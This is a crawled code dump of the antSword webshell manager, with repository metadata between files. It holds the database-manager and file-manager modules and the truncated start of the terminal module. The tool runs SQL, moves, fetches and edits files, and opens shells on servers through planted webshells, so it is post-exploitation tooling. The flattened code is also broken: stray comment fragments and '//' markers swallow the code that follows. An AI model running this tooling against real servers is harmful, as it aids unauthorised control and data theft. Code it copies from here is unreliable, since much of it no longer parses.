switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `DESC \`${dbname}\`.\`${tablename}\`;`; this.manager.query.editor.session.setValue(sql); this.execSQL(sql); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } showcreateTable() { const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `SHOW CREATE TABLE \`${dbname}\`.\`${tablename}\`;`; this.manager.query.editor.session.setValue(sql); this.execSQL(sql); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } // TODO: addColumn() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); } // TODO: editColumn() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); let columntyperaw = antSword.unxss(this.tree.getSelectedItemText()); let columntype = null; var ctypereg = new RegExp(columnname+'\\s\\((.+?\\))\\)'); var res = columntyperaw.match(ctypereg); if (res.length == 2) { columntype = res[1]; } if (columntype == null) { toastr.error(LANG['form']['editcolumn']['get_column_type_error'], LANG_T['error']); return } layer.prompt({ value: antSword.noxss(columnname), title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['editcolumn']['title']}` },(value, i, e) => { if(!value.match(/^[a-zA-Z0-9_]+$/)){ toastr.error(LANG['form']['editcolumn']['invalid_tablename'], LANG_T['error']); return } layer.close(i); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `ALTER TABLE \`${dbname}\`.\`${tablename}\` CHANGE COLUMN \`${columnname}\` \`${value}\` ${columntype};`; this.manager.query.editor.session.setValue(sql); this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['editcolumn']['success'],LANG_T['success']); this.getColumns(id,dbname,tablename); }else{ toastr.error(LANG['form']['editcolumn']['error'],LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } delColumn() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); // lang layer.confirm(LANG['form']['delcolumn']['confirm'](columnname), { icon: 2, shift: 6, title: LANG['form']['delcolumn']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `ALTER TABLE \`${dbname}\`.\`${tablename}\` DROP ${columnname};`; this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['delcolumn']['success'],LANG_T['success']); this.getColumns(id,dbname, tablename); }else{ toastr.error(LANG['form']['delcolumn']['error'],LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } // getDatabases(id) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this.core.request( this.core[`database_${conf['type']}`].show_databases({ host: conf['host'], user: conf['user'], passwd: conf['passwd'] }) ).then((res) => { let ret = res['text']; if(ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']); return this.manager.list.layout.progressOff(); }; // this.tree.deleteChildItems(`conn::${id}`); // arr.map((_) => { if (!_) { return }; const _db = Buffer.from(antSword.unxss(_, false)).toString('base64'); this.tree.insertNewItem( `conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]); }); this.manager.list.layout.progressOff(); }).catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); } // getTables(id, db) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this.core.request( this.core[`database_${conf['type']}`].show_tables({ host: conf['host'], user: conf['user'], passwd: conf['passwd'], db: db }) ).then((res) => { let ret = res['text']; if(ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); // this.tree.deleteChildItems(`database::${id}:${_db}`); // arr.map((_) => { if (!_) { return }; const _table = Buffer.from(antSword.unxss(_, false)).toString('base64'); this.tree.insertNewItem( `database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2] ); }); this.manager.list.layout.progressOff(); }).catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); } // getColumns(id, db, table) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this.core.request( this.core[`database_${conf['type']}`].show_columns({ host: conf['host'], user: conf['user'], passwd: conf['passwd'], db: db, table: table }) ).then((res) => { let ret = res['text']; if(ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); const _table = Buffer.from(table).toString('base64'); // this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`); // arr.map((_) => { if (!_) { return }; _ = antSword.unxss(_, false); const _column = Buffer.from(_.substr(0, _.lastIndexOf(' '))).toString('base64'); this.tree.insertNewItem( `table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3] ); }); // SQL let presql = ""; switch(this.dbconf['type']){ case 'mssql': case 'sqlsrv': presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': presql = `SELECT * FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; case 'sqlite3': case 'sqlite_pdo': presql = `SELECT * FROM "${db}"."${table}" ORDER BY 1 DESC limit 0,20;`; break; default: presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this.manager.query.editor.session.setValue(presql); this.manager.list.layout.progressOff(); }).catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); } // SQL execSQLAsync(sql, callback) { this.core.request( this.core[`database_${this.dbconf['type']}`].query({ host: this.dbconf['host'], user: this.dbconf['user'], passwd: this.dbconf['passwd'], db: this.dbconf['database'], sql: sql, encode: this.dbconf['encode'] || 'utf8' }) ).then((res) => { callback(res, null); }).catch((err) => { callback(null, err); }); } // SQL execSQL(sql) { this.manager.query.layout.progressOn(); switch(this.dbconf['type']) { case 'sqlite3': if(sql.match(/(update|delete)\s+?/ig)) { sql = `${sql};select changes() AS "Changes",total_changes() AS "Total Changes";` } break } this.core.request( this.core[`database_${this.dbconf['type']}`].query({ host: this.dbconf['host'], user: this.dbconf['user'], passwd: this.dbconf['passwd'], db: this.dbconf['database'], sql: sql, encode: this.dbconf['encode'] || 'utf8' }) ).then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } console.log(ret); // this.updateResult(ret); this.manager.query.layout.progressOff(); }).catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.query.layout.progressOff(); }); } parseResult(data) { // 1. const arr = data.split('\t|\t\r\n'); // 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i ++) { let buff = Buffer.from(_data[i]); let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); if(encoding == "unknown") { switch(this.dbconf['type']){ case 'sqlsrv': var sqlsrv_conncs_mapping = { 'utf-8': 'utf8', 'char': '', } encoding = sqlsrv_conncs_mapping[this.dbconf['encode']] || ''; break; case 'oracle_oci8': var oci8_characterset_mapping = { 'UTF8': 'utf8', 'ZHS16GBK':'gbk', 'ZHT16BIG5': 'big5', 'ZHS16GBKFIXED': 'gbk', 'ZHT16BIG5FIXED': 'big5', } encoding = oci8_characterset_mapping[this.dbconf['encode']] || ''; break; default: encoding = this.dbconf['encode'] || ''; break; } } encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode']; let text = Decodes.decode(buff, encoding); _data[i] = antSword.noxss(text); } data_arr.push(_data); }); data_arr.pop(); return { headers: header_arr, datas: data_arr } } parseResultXML(data) { let parser = new xml2js.Parser(/* options */); let header_arr = []; let data_arr = []; data = antSword.unxss(data); parser.parseString(data, (err, result) => { if(err) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); } var resultset = result.resultset; console.log(resultset) if(!resultset.hasOwnProperty('row')) { header_arr = ['Status']; data_arr = ['Empty Result'] return } var rows = resultset.row; rows[0].field.forEach(h => { header_arr.push(antSword.noxss(h['$'].name)); }); rows.forEach(row => { let _data = []; row.field.forEach(col => { _data.push(antSword.noxss(col['_'])); }); data_arr.push(_data); }); }); return { headers: header_arr, datas: data_arr } } // SQL updateResult(data) { let res; switch(this.dbconf['type']) { case 'mysql': res = this.parseResultXML(data); break; default: res = this.parseResult(data); break; }; let data_arr = res.datas; let header_arr = res.headers; // 5. const grid = this.manager.result.layout.attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,'')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColumnMinWidth(100, header_arr.length-1); grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*"); grid.setEditable(true); grid.init(); // let grid_data = []; for (let i = 0; i < data_arr.length; i ++) { grid_data.push({ id: i + 1, data: data_arr[i] }); } grid.parse({ 'rows': grid_data }, 'json'); // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); } // dumpResult() { const grid = this.manager.result.layout.getAttachedObject(); let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`; dialog.showSaveDialog({ title: LANG['result']['dump']['title'], defaultPath: filename },(filePath) => { if (!filePath) { return; }; let headerStr = grid.hdrLabels.join(','); let dataStr = grid.serializeToCSV(); let tempDataBuffer = Buffer.from(headerStr+'\n'+dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); } // toolbar disableToolbar() { this.manager.list.toolbar.disableItem('del'); this.manager.list.toolbar.disableItem('edit'); this.manager.result.toolbar.disableItem('dump'); } // toolbar enableToolbar() { this.manager.list.toolbar.enableItem('del'); this.manager.list.toolbar.enableItem('edit'); } // SQL disableEditor() { ['exec', 'clear'].map( this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(true); } // SQL enableEditor() { ['exec', 'clear'].map( this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(false); } } module.exports = CMDLINUX; ```
/content/code_sandbox/source/modules/database/cmdlinux/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
15,510
```javascript // // // const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['filemanager']['files']; const clipboard = require('electron').clipboard; const Terminal = require('../terminal/'); class Files { // 1.cell: layout.cell 2.manager index.jsx constructor(cell, manager) { const self = this; cell.setText(`<i class="fa fa-file-o"></i> ${LANG['title']}`); // toolbar const toolbar = cell.attachToolbar(); // let bookmark = JSON.parse(manager.storage('bookmarks').get('{}')); // this.reloadToolbar = () => { let bookmark_opts = [{ id: 'bookmark_add', type: 'button', icon: 'plus-circle', text: LANG['bookmark']['add'], enabled: !bookmark[manager.path] }]; let global_bookmarks = manager.config.bookmarks || {}; if (Object.keys(global_bookmarks).length > 0) { bookmark_opts.push({ type: 'separator' }); for (let gb in global_bookmarks) { bookmark_opts.push({ id: 'bookmark_' + global_bookmarks[gb], text: antSword.noxss(gb), icon: 'bookmark', type: 'button', enabled: manager.path !== global_bookmarks[gb] }); } } if (!$.isEmptyObject(bookmark)) { bookmark_opts.push({ type: 'separator' }); }; for (let _ in bookmark) { bookmark_opts.push({ id: 'bookmark_' + _, text: antSword.noxss(bookmark[_]), icon: 'bookmark-o', type: 'button', enabled: manager.path !== _ }); } // if (bookmark_opts.length > 2) { bookmark_opts.push({ type: 'separator' }); bookmark_opts.push({ id: 'bookmark_remove', icon: 'remove', text: LANG['bookmark']['del'], type: 'button', enabled: !!bookmark[manager.path] }); bookmark_opts.push({ id: 'bookmark_clear', icon: 'trash-o', text: LANG['bookmark']['clear'], type: 'button' }); }; toolbar.clearAll(); toolbar.loadStruct([{ id: 'new', type: 'buttonSelect', icon: 'plus-circle', text: LANG['toolbar']['new'], openAll: true, options: [{ id: 'new_folder', icon: 'folder-o', type: 'button', text: LANG['toolbar']['folder'] }, { id: 'new_file', icon: 'file-o', type: 'button', text: LANG['toolbar']['file'] }, { type: 'separator' }, { id: 'new_wget', icon: 'cloud-download', type: 'button', text: LANG['toolbar']['wget'] }, { id: 'new_upload', icon: 'cloud-upload', type: 'button', text: LANG['toolbar']['upload'] }] }, { type: 'separator' }, { id: 'up', type: 'button', icon: 'arrow-up', text: LANG['toolbar']['up'] }, { type: 'separator' }, { id: 'refresh', type: 'button', icon: 'refresh', text: LANG['toolbar']['refresh'] }, { type: 'separator' }, { id: 'home', type: 'button', icon: 'home', text: LANG['toolbar']['home'] }, { type: 'separator' }, { id: 'bookmark', type: 'buttonSelect', icon: 'bookmark', text: LANG['toolbar']['bookmark'], openAll: true, options: bookmark_opts }, { type: 'separator' }, { id: 'path', width: 300, type: 'buttonInput', value: antSword.noxss(manager.path) || 'loading..' }, { id: 'read_path', type: 'button', icon: 'arrow-right', text: LANG['toolbar']['read'] }, { type: 'separator' }]); } this.reloadToolbar(); // reloadToolbar(); this.reloadToolbar = reloadToolbar; toolbar toolbar.attachEvent('onClick', (id) => { switch (id) { case 'up': self.gotoPath('..'); break; case 'refresh': self.refreshPath(); break; case 'read_path': let pwd = toolbar .getInput('path') .value; self.gotoPath(pwd); break; case 'home': self.gotoPath(manager.home); break; case 'new_folder': manager.createFolder(); break; case 'new_file': manager.createFile(); break; case 'new_wget': manager.wgetFile(); break; case 'new_upload': manager.uploadFile(); break; case 'bookmark_add': // layer.prompt({ value: antSword.noxss(self.manager.path), title: LANG['prompt']['add']['title'] }, (value, i, e) => { bookmark[self.manager.path] = value; self .manager .storage('bookmarks') .set(JSON.stringify(bookmark)); toastr.success(LANG['prompt']['add']['success'](self.manager.path), LANG_T['success']); self.reloadToolbar(); layer.close(i); }); break; case 'bookmark_remove': layer.confirm(LANG['prompt']['remove']['confirm'], { icon: 2, shift: 6, title: `<i class="fa fa-remove"></i> ${LANG['prompt']['remove']['title']}` }, (_) => { // delete bookmark[self.manager.path]; self .manager .storage('bookmarks') .set(JSON.stringify(bookmark)); self.reloadToolbar(); toastr.success(LANG['prompt']['remove']['success'], LANG_T['success']); layer.close(_); }); break; case 'bookmark_clear': layer.confirm(LANG['prompt']['clear']['confirm'], { icon: 2, shift: 6, title: `<i class="fa fa-trash-o"></i> ${LANG['prompt']['clear']['title']}` }, (_) => { bookmark = {}; self .manager .storage('bookmarks') .set('{}'); self.reloadToolbar(); toastr.success(LANG['prompt']['clear']['success'], LANG_T['success']); layer.close(_); }); break; default: let arr = id.split('_'); if (arr.length === 2 && arr[0] === 'bookmark') { self.gotoPath(arr[1]); }; } }); toolbar.attachEvent('onEnter', (id, value) => { switch (id) { case 'path': self.gotoPath(value); break; } }); // grid let grid = cell.attachGrid(); grid.setHeader(` &nbsp;, ${LANG['grid']['header']['name']}, ${LANG['grid']['header']['time']}, ${LANG['grid']['header']['size']}, ${LANG['grid']['header']['attr']} `); grid.setColTypes("ro,ro,ro,ro,ro"); grid.setColSorting('str,str,str,str,str'); grid.setInitWidths("40,*,150,100,100"); grid.setColAlign("center,left,left,right,center"); grid.enableMultiselect(true); // grid.enableDragAndDrop(true); grid.enableMultiline(true); grid fix $('.objbox').on('contextmenu', (e) => { (e.target.nodeName === 'DIV' && grid.callEvent instanceof Function && antSword['tabbar'].getActiveTab().startsWith('tab_filemanager_')) ? grid.callEvent('onRightClick', [-1, -1, e]): null; }); $('.objbox').on('click', (e) => { bmenu.hide(); }); grid.attachEvent('onRightClick', function(id, lid, event) { // ID let _ids = (this.getSelectedId() || '').split(','); // if (id === -1) { _ids = [ // ]; } else if (_ids.length === 1) { this.selectRowById(id); _ids = [id]; }; let ids = []; _ids.map((_) => { ids.push(this.getRowAttribute(_, 'fname')); }); id = ids[0] || ''; // let _Clipboard = []; let _Clipboard_num = 0; for (let c in self.Clipboard) { _Clipboard.push({ text: antSword.noxss(c), icon: 'fa fa-' + (c.endsWith('/') ? 'folder-o' : 'file-o'), action: ((source, name) => { return () => { manager.pasteFile(source, name); } })(self.Clipboard[c], c) }); _Clipboard_num++; if (!(_Clipboard_num % 5)) { _Clipboard.push({ divider: true }); }; } // divider if (_Clipboard.length % 5 && _Clipboard_num > 5) { // _Clipboard.pop() }; all item if (_Clipboard.length > 0) { _Clipboard.unshift({ divider: true }); _Clipboard.unshift({ text: LANG['grid']['contextmenu']['paste']['all'], count: _Clipboard_num, icon: 'fa fa-th-list', action: () => { _Clipboard.map((c) => { if (c['divider'] || c['count'] || c['text'] === LANG['grid']['contextmenu']['paste']['clear']['title']) { return }; let name = c['text']; let source = self.Clipboard[name]; manager.pasteFile(source, name); }); } }); // !(_Clipboard[_Clipboard.length - 1].divider) ? _Clipboard.push({ divider: true }): 0; _Clipboard.push({ text: LANG['grid']['contextmenu']['paste']['clear']['title'], icon: 'fa fa-trash-o', action: () => { self.Clipboard = {}; toastr.info(LANG['grid']['contextmenu']['paste']['clear']['info'], LANG_T['info']); } }); }; let isFolder = id.endsWith('/'); let containsFolder = (ids.join("~assep~") + '~assep~').indexOf('/~assep~') > -1; // let isEdited = false; 'php,asp,aspx,jsp,cfm,js,css,html,py,sh,bat,txt,log,ini,conf,sql' .split(',') .map((e) => { id .toLowerCase() .endsWith(`.${e}`) ? isEdited = true : 0; }); let menu = [{ text: LANG['grid']['contextmenu']['refresh'], icon: 'fa fa-refresh', action: () => { self.refreshPath(); } }, { divider: true }, { text: LANG['grid']['contextmenu']['wget'], icon: 'fa fa-cloud-download', action: manager .wgetFile .bind(manager) }, { text: LANG['grid']['contextmenu']['upload'], icon: 'fa fa-upload', action: manager .uploadFile .bind(manager) }, { text: LANG['grid']['contextmenu']['download'], icon: 'fa fa-download', disabled: isFolder || !id || containsFolder, action: () => { if (ids.length === 1) { manager.downloadFile(id, this.getRowAttribute(_ids[0], 'fsize')); } else if (ids.length > 1) { let dnames = []; for (let i = 0; i < ids.length; i++) { dnames.push({ name: ids[i], size: this.getRowAttribute(_ids[i], 'fsize'), }); } manager.downloadFileMulti(dnames); } } }, { divider: true }, { text: LANG['grid']['contextmenu']['copy']['title'], icon: 'fa fa-copy', subMenu: [{ text: LANG['grid']['contextmenu']['copy']['title'], icon: 'fa fa-copy', disabled: !id, action: () => { // ididids ids.map((id) => { let path = manager.path + id; // if (id in self.Clipboard) { return toastr.warning(LANG['grid']['contextmenu']['copy']['warning'](id), LANG_T['warning']); }; self.Clipboard[id] = path; toastr.info(LANG['grid']['contextmenu']['copy']['info'](id), LANG_T['info']); }); } }, { text: LANG['grid']['contextmenu']['copy']['copyname'], icon: 'fa fa-file-word-o', disabled: !id || ids.length > 1, action: () => { clipboard.writeText(id); // let txt = clipboard.readText(); if (txt == id) { toastr.success(LANG['grid']['contextmenu']['copy']['copysuccess'], LANG_T['success']); } else { toastr.error(LANG['grid']['contextmenu']['copy']['copyfail'], LANG_T['error']); } } }, { text: LANG['grid']['contextmenu']['copy']['copypath'], icon: 'fa fa-file-powerpoint-o', disabled: !id || ids.length > 1, action: () => { let txt = `${self.manager.path}${id}`; clipboard.writeText(txt); // let cptxt = clipboard.readText(); if (cptxt == txt) { toastr.success(LANG['grid']['contextmenu']['copy']['copysuccess'], LANG_T['success']); } else { toastr.error(LANG['grid']['contextmenu']['copy']['copyfail'], LANG_T['error']); } } }] }, { text: LANG['grid']['contextmenu']['paste']['title'], icon: 'fa fa-paste', disabled: _Clipboard_num === 0, subMenu: _Clipboard }, { text: LANG['grid']['contextmenu']['preview'], icon: 'fa fa-eye', disabled: !id || ids.length > 1 || !self.checkPreview(id), action: () => { manager.previewFile(id, this.getRowAttribute(_ids[0], 'fsize')); } }, { text: LANG['grid']['contextmenu']['filehash'], icon: 'fa fa-legal', disabled: isFolder || !id || containsFolder, action: () => { manager.fileHash(id); } }, { divider: true }, { text: LANG['grid']['contextmenu']['edit']['title'], icon: 'fa fa-edit', disabled: /*!isEdited || */ !id || ids.length > 1 || isFolder, subMenu: [{ text: LANG['grid']['contextmenu']['edit']['opentab'], icon: 'fa fa-external-link', action: () => { manager.editFile(id, true); } }, { text: LANG['grid']['contextmenu']['edit']['openwindow'], icon: 'fa fa-arrows-alt', action: () => { manager.editFile(id, false); } }] }, { text: LANG['grid']['contextmenu']['delete'], icon: 'fa fa-trash-o', disabled: !id, action: () => { manager.deleteFile(ids); } }, { text: LANG['grid']['contextmenu']['rename'], icon: 'fa fa-font', disabled: !id || ids.length > 1, action: () => { manager.renameFile(id); } }, { text: LANG['grid']['contextmenu']['modify'], icon: 'fa fa-clock-o', disabled: !id || ids.length > 1, action: () => { // manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText); manager.retimeFile(id, this.getRowAttribute(_ids[0], 'data')[2]); } }, { text: LANG['grid']['contextmenu']['chmod'], icon: 'fa fa-users', disabled: !id || ids.length > 1, action: () => { manager.chmodFile(id, this.getRowAttribute(_ids[0], 'data')[4]); } }, { divider: true }, { text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [{ text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager .createFolder .bind(manager) }, { text: LANG['grid']['contextmenu']['create']['file'], icon: 'fa fa-file-o', action: manager .createFile .bind(manager) }] }, { text: LANG['grid']['contextmenu']['terminal'], icon: 'fa fa-terminal', action: () => { new Terminal(self.manager.opts, { 'path': self.manager.path }); } }]; bmenu(menu, event); return true; }); // grid.attachEvent('onRowSelect', (id, lid, event) => { bmenu.hide(); }); // : 1MB :size < 100kb grid.attachEvent('onRowDblClicked', (id, lid, event) => { const fname = grid.getRowAttribute(id, 'fname'); const fsize = grid.getRowAttribute(id, 'fsize'); if (!fname.endsWith('/')) { if (self.checkPreview(fname) && fsize <= 1000 * 1024) { manager.previewFile(fname, fsize); } else if (fsize <= 100 * 1024) { // size < 100kb manager.editFile(fname, self.manager.config.openfileintab); } else { manager.downloadFile(fname, fsize); } } else { self.gotoPath(fname); } }); // grid.attachEvent('onKeyPress', (code, cFlag, sFlag) => { switch (true) { case (code <= 90 && code >= 65) || (code <= 57 && code >= 48): // A-Z 0-9 var input = String.fromCharCode(code); input = input.toLowerCase(); var sid = 0; var ids = grid .getAllRowIds() .split(","); for (var i = 0; i < ids.length; i++) { var _id = parseInt(ids[i]); var fname = grid.getRowAttribute(_id, "fname"); if (fname.startsWith(input)) { sid = _id - 1; grid.selectRow(sid); break; } } break case (code == 38): //up var ids = grid .getAllRowIds() .split(","); var sid = grid .getSelectedRowId() .toString(); var cid = ids.indexOf(sid) <= 0 ? parseInt(ids[0]) - 1 : parseInt(ids[ids.indexOf(sid) - 1]) - 1; grid.selectRow(cid); break; case (code == 40): //down var ids = grid .getAllRowIds() .split(","); var sid = grid .getSelectedRowId() .toString(); var cid = ids.indexOf(sid) >= ids.length - 1 ? parseInt(ids[ids.length - 1]) - 1 : parseInt(ids[ids.indexOf(sid) + 1]) - 1; grid.selectRow(cid); break; default: break; } }); grid.init(); this.grid = grid; this.cell = cell; this.toolbar = toolbar; this.manager = manager; // this.Clipboard = {}; // $(this.cell.cell).on({ dragleave: (e) => { e.preventDefault() }, drop: (e) => { e.preventDefault(); let filePaths = []; let files = e.originalEvent['dataTransfer']['files'] || {}; for (let i = 0; i < files.length; i++) { let f = files.item(i); filePaths.push(f['path']); } this .manager .uploadFile(filePaths); }, dragenter: (e) => { e.preventDefault() }, dragover: (e) => { e.preventDefault() } }); } checkPreview(name) { // let isPreviewed = false; 'jpeg,jpg,png,gif,bmp,ico' .split(',') .map((e) => { name .toLowerCase() .endsWith(`.${e}`) ? isPreviewed = true : 0; }); return isPreviewed; } // && refreshPath(p) { let path = p || this.manager.path; // delete this.manager.cache[path]; this .manager .cache .del('filemanager-files-' + Buffer.from(path).toString('base64')); // for (let _ in this.manager.folder.cache) { if (_.indexOf(path) === 0 && _ != path) { delete this.manager.folder.cache[_]; } } if (!p) { this.gotoPath('.') }; } // gotoPath(path) { let self = this; this .cell .progressOn(); try { this .manager .getFiles(path, (files) => { self.parse(files); self .manager .folder .parse(files); // self.cell.progressOff(); }); } catch (e) { toastr.error(e, LANG_T['error']); self .cell .progressOff(); } } // parse(files) { let data = []; let self = this; let _id = 1; files.map((file) => { if (!file['name'] || ['./', '../'].indexOf(file['name']) != -1) { return }; data.push({ id: _id, fname: file['name'], fsize: parseInt(file['size']), // exedll.. style: /\.exe$|\.dll$|\.bat$|\.sh$|\.com$/.test(file['name']) ? 'color:red' : '', data: [ self.fileIcon(file['name']), antSword.noxss(file['name'].replace(/\/$/, '')), antSword.noxss(file['time']), antSword.noxss(self.fileSize(parseInt(file['size']))), antSword.noxss(file['attr']) ] }); _id++; }); this .cell .setText(`<i class="fa fa-file-o"></i> ${LANG['title']} (${data.length})`); this .grid .clearAll(); this .grid .parse({ 'rows': data }, 'json'); // path this .toolbar .getInput('path') .value = this.manager.path; this .cell .progressOff(); this.reloadToolbar(); } // fileSize(t) { let i = false; let b = [ "b", "Kb", "Mb", "Gb", "Tb", "Pb", "Eb" ]; for (let q = 0; q < b.length; q++) if (t > 1024) t = t / 1024; else if (i === false) i = q; if (i === false) i = b.length - 1; return Math.round(t * 100) / 100 + " " + b[i]; } // fileIcon(name) { let icons = {}; const _icons = { 'exe,dll': 'file', 'jpg,png,gif,ico,bmp': 'file-image-o', 'mp4,mpeg,avi,rm,rmvb': 'file-movie-o', 'mp3,mid,wav': 'file-sound-o', 'pdf': 'file-pdf-o', 'ppt': 'file-powerpoint-o', 'xls,xlsx': 'file-excel-o', 'doc,docx': 'file-word-o', 'zip,tar,7z,gz,rar': 'file-archive-o', 'txt,ttf,tiff,ini,log,chm,conf,cfg': 'file-text-o', 'php,asp,jsp,sql,cfm,aspx,html,js,py,rb,pl,go,css,less,jsx,xml,sh,bat,h,cpp,c': 'file-code-o' }; for (let _ in _icons) { let _arr = _.split(','); _arr.map((a) => { icons[a] = _icons[_]; }); } // let icon = 'file-o'; // if (name.endsWith('/')) { icon = 'folder-o'; } else { let _ = name.split('.'); let ext = _[_.length - 1].toLowerCase(); icon = icons[ext] || icon; }; return `<i class="fa fa-${icon} fa-lg"></i>`; } } // export default Files; module.exports = Files; ```
/content/code_sandbox/source/modules/filemanager/files.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
5,726
```javascript /** * * 2016/04/13 * <path_to_url */ const LANG = antSword['language']['terminal']; const LANG_T = antSword['language']['toastr']; class Terminal { constructor(opts, options = {}) { // IDdom const hash = String(Math.random()).substr(2, 10); // UI::tabbar const tabbar = antSword['tabbar']; tabbar.addTab(`tab_terminal_${hash}`, `<i class="fa fa-terminal"></i> ${opts['ip']}`, null, null, true, true); tabbar.attachEvent('onTabClick', (id, lid) => { if (id !== `tab_terminal_${hash}`) { return }; this.term ? this .term .focus() : 0; }); let config = { tsize: 1, }; this.config = JSON.parse(antSword['storage']("adefault_terminal", false, JSON.stringify(config))); // UI::cell const cell = tabbar.cells(`tab_terminal_${hash}`); cell.attachHTMLString(` <div id="div_terminal_${hash}" style="height:100%;margin:0;padding:0 5px 1px 5px;overflow:scroll;--size:${parseFloat(this.config.tsize)};" ></div> `); this.path = ''; this.opts = opts; this.options = options || {}; this.hash = hash; this.term = null; this.cell = cell; this.isWin = true; this.isPowershell = false; this.sessbin = null; this.sess_powershell = null; this.core = new 